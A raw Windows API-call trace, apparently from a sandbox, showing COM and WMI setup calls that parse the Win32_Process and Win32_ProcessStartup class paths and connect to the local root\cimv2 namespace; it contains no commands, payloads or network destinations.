[0149.216] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89b70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.216] WbemDefPath:IUnknown:Release (This=0x1bc89b70) returned 0x3 [0149.216] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0149.216] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0149.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0149.216] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x2 [0149.216] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x1 [0149.216] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0149.216] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0149.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbf5e0) returned 0x0 [0149.216] WbemDefPath:IUnknown:AddRef (This=0x1bbbf5e0) returned 0x3 [0149.216] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x2 [0149.216] WbemDefPath:IWbemPath:SetText (This=0x1bbbf5e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0149.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf5e0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0149.216] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf5e0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0149.216] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf5e0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0149.216] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf5e0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0149.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf5e0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0149.216] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf5e0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0149.217] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0149.217] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0149.217] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0149.217] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.219] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc89d30) returned 0x0 [0149.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89d30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0149.219] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89d30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbf520) returned 0x0 [0149.219] WbemDefPath:IUnknown:Release (This=0x1bc89d30) returned 0x0 [0149.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbf520) returned 0x0 [0149.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0149.220] WbemDefPath:IUnknown:AddRef (This=0x1bbbf520) returned 0x3 [0149.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0149.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0149.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc89cb0) returned 0x0 [0149.220] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89cb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.220] WbemDefPath:IUnknown:Release (This=0x1bc89cb0) returned 0x3 [0149.220] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0149.220] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0149.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0149.220] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x2 [0149.220] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x1 [0149.220] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0149.220] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0149.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbf520) returned 0x0 [0149.220] WbemDefPath:IUnknown:AddRef (This=0x1bbbf520) returned 0x3 [0149.220] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x2 [0149.221] WbemDefPath:IWbemPath:SetText (This=0x1bbbf520, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf520, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf520, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf520, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf520, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf520, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0149.221] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.221] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0149.221] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0149.221] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0149.221] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.223] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc89cf0) returned 0x0 [0149.223] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89cf0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0149.223] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89cf0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bbbf3a0) returned 0x0 [0149.223] WbemDefPath:IUnknown:Release (This=0x1bc89cf0) returned 0x0 [0149.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bbbf3a0) returned 0x0 [0149.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0149.224] WbemDefPath:IUnknown:AddRef (This=0x1bbbf3a0) returned 0x3 [0149.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0149.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0149.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc89c30) returned 0x0 [0149.224] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89c30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.224] WbemDefPath:IUnknown:Release (This=0x1bc89c30) returned 0x3 [0149.224] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0149.224] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0149.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0149.224] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x2 [0149.225] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x1 [0149.225] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0149.225] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0149.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf3a0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bbbf3a0) returned 0x0 [0149.225] WbemDefPath:IUnknown:AddRef (This=0x1bbbf3a0) returned 0x3 [0149.225] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x2 [0149.225] WbemDefPath:IWbemPath:SetText (This=0x1bbbf3a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0149.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf3a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0149.225] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf3a0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0149.225] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf3a0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.225] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0149.225] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0149.225] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0149.225] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.226] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc89b10) returned 0x0 [0149.226] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0149.226] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc89b10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc89b30) returned 0x0 [0149.227] WbemLocator:IUnknown:Release (This=0x1bc89b10) returned 0x0 [0149.227] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc89b30) returned 0x0 [0149.227] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0149.227] WbemLocator:IUnknown:AddRef (This=0x1bc89b30) returned 0x3 [0149.227] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0149.227] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0149.227] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0149.227] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0149.227] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0149.227] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0149.227] WbemLocator:IUnknown:Release (This=0x1bc89b30) returned 0x2 [0149.227] WbemLocator:IUnknown:Release (This=0x1bc89b30) returned 0x1 [0149.227] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0149.228] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0149.228] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89b30, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc89b30) returned 0x0 [0149.228] WbemLocator:IUnknown:AddRef (This=0x1bc89b30) returned 0x3 [0149.228] WbemLocator:IUnknown:Release (This=0x1bc89b30) returned 0x2 [0149.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf3a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0149.228] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf3a0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0149.228] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf3a0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.228] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc89b50) returned 0x0 [0149.228] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc89b50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bcc6bd0) returned 0x0 [0149.371] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6bd0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa02da0) returned 0x0 [0149.371] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02da0, pProxy=0x1bcc6bd0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0149.372] WbemLocator:IUnknown:Release (This=0x1aa02da0) returned 0x1 [0149.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6bd0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 